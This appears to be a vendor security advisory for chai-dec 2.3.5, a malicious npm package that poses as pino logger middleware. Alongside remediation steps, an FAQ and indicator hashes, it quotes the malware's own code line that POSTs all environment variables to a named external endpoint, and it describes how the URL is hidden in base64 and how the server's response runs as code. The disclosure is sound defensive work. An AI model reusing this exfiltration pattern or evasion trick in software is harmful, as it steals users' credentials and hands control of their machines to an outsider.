Which versions of chai-dec are malicious?

The following npm versions of chai-dec are flagged malicious: 2.3.5. Treat any of these as compromised.

How do I remediate chai-dec if I installed it?

chai-dec is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed chai-dec — how do I know if it already compromised me?

If chai-dec was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is chai-dec part of a known attack campaign?

Yes — chai-dec is associated with the IN-MAL-2026-005693, GHSA-782j-c8c3-2j5w campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find chai-dec across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for chai-dec (version 2.3.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging chai-dec across your stack and pipelines.

Malicious package

chai-decnpm

chai-dec is a confirmed malicious npm package (MAL-2026-5606) that steals credentials and exfiltrates sensitive data (malicious version 2.3.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in chai-dec (npm)

MAL-2026-5606

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall chai-dec

What this malware does

chai-dec impersonates the chai/pino ecosystem (package name rides on chai; package.json keywords and exports — module.exports.pino = middleware — masquerade as the pino logger). When the exported middleware factory is invoked (the standard Express-style usage), index.js spawns a detached Node child running lib/initializeCaller.js. That script POSTs the entire process.env object to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df via axios.post(apiEndpoint, {...process.env }, { headers: { 'x-secret-header': 'secret' } }), leaking every environment variable on the consumer's machine (AWS/GitHub/npm tokens, DB credentials, CI secrets, etc.). The destination URL is hidden behind a base64 blob in a locally-shadowed process.env.DEV_API_KEY and decoded with atob at runtime to evade static review. The HTTP response body is then passed to new Function('require', response.data) and invoked with the real require, giving the operator of the endpoint arbitrary remote code execution in the consumer process with full Node privileges. This is a typosquat lure carrying a credential-harvest + dynamic-RCE payload.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

2.3.5

Indicators of compromise (SHA-256)

5fbe1098e3267cf9e98fe2591e27b58f87fb44ca8c5475a5fde64fed8c2dd1c3

774328aa0da2fb1ffbd51817372f53e68a4406793a78122f549e5a34f12fead7

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for chai-dec (version 2.3.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging chai-dec across your stack and pipelines.
If you installed it — respond
chai-dec is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If chai-dec was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks chai-dec before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. chai-dec on npm has been identified as a malicious package (version 2.3.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005693GHSA-782j-c8c3-2j5w

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks chai-dec-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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